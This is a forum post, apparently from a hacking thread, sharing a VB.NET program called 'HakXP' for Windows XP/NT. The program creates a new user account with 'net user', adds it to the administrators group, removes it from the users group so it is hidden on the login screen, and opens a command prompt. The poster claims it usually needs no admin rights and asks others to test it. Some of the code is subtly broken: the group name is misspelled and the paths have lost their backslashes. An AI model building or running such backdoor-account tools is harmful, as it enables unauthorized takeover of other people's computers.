This should make it work under either XP Home or Pro, and the install directory for XP shouldn't matter anymore..
Here's my update:
Module HakXP
Sub Main()
Console.Write("Enter new username: ")
Dim uName As String = Console.ReadLine()
Console.Write("Enter password for " + uName + " : ")
Dim pWord As String = Console.ReadLine()
AddUser(uName, pWord)
RunProcess("%systemroot%system32", "cmd.exe") 'Will open up a cmd prompt at WINDOWSsystem32
End Sub
Sub AddUser(ByVal UserName As String, ByVal Password As String)
Shell("net user " + UserName + " " + Password + " /add") 'Adds the user "UserName" with password "Password"
Shell("net localgroup administators " + UserName + " /add") 'Adds "UserName" to the admin group
Shell("net localgroup users " + UserName + " /delete") 'If Fast-Switching is on, then "UserName" will show up
End Sub
Sub RunProcess(ByVal Path As String, ByVal Exe As String)
Dim px As New Process
px.StartInfo.WorkingDirectory = Path
px.StartInfo.FileName = Exe
px.Start()
End Sub
End Module
%systemroot% is the equivelent of typing C:Windows or D:Windows, or whatever drive you installed Windows..
It also doesn't require admin privs, most of the time.
(I'm not sure if it can be disabled.)
Anyways, I hope that helps somewhat.
I think it may also work for Windows NT now also.. If I remember right, I think Windows NT root directory is 'C:WinNT' or something similar. So it should also work..
Could you recompile the code and test it with the new code?
Thankies!
~~Azurith
PS>>
The updated code should make it compatible with NT & XP.
The install drive of Windows should no longer matter.